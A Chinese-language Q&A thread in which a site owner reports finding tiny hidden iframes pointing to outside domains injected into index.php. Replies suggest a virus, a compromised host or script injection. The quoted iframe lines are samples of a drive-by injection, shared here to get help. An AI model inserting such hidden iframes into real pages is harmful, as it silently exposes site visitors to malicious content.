插入我网站页面的神秘 html（被黑？）

Question

两次，我在 index.php 的顶部发现了奇怪的代码。

第一次，是这样的：

<iframe src="http://ntwportal.com/" width="2" height="4"></iframe>

然后这个：

<iframe src="http://gtwdnsglobe.org/" width="2" height="4"></iframe>

这是怎么回事？我有安全漏洞吗？

拥有 FTP 访问权限（据我所知）的人不会这样做。我最近部署了一个新站点，这种情况仍在发生。

Answer 1

应该是病毒吧

http://www.google.com/safebrowsing/diagnostic?site=http://ntwportal.com/&hl=en

HTML 是否也在您的本地计算机上？你可能有病毒插入它。否则，请检查主机的安全性，它可能已被入侵。

Answer 2

如果您在页面上接受任何类型的输入，请确保它被正确转义。听起来像是脚本注入的情况。如果您正在寻找更多信息，搜索 SQL 注入、脚本注入或跨站点脚本应该会产生一些结果。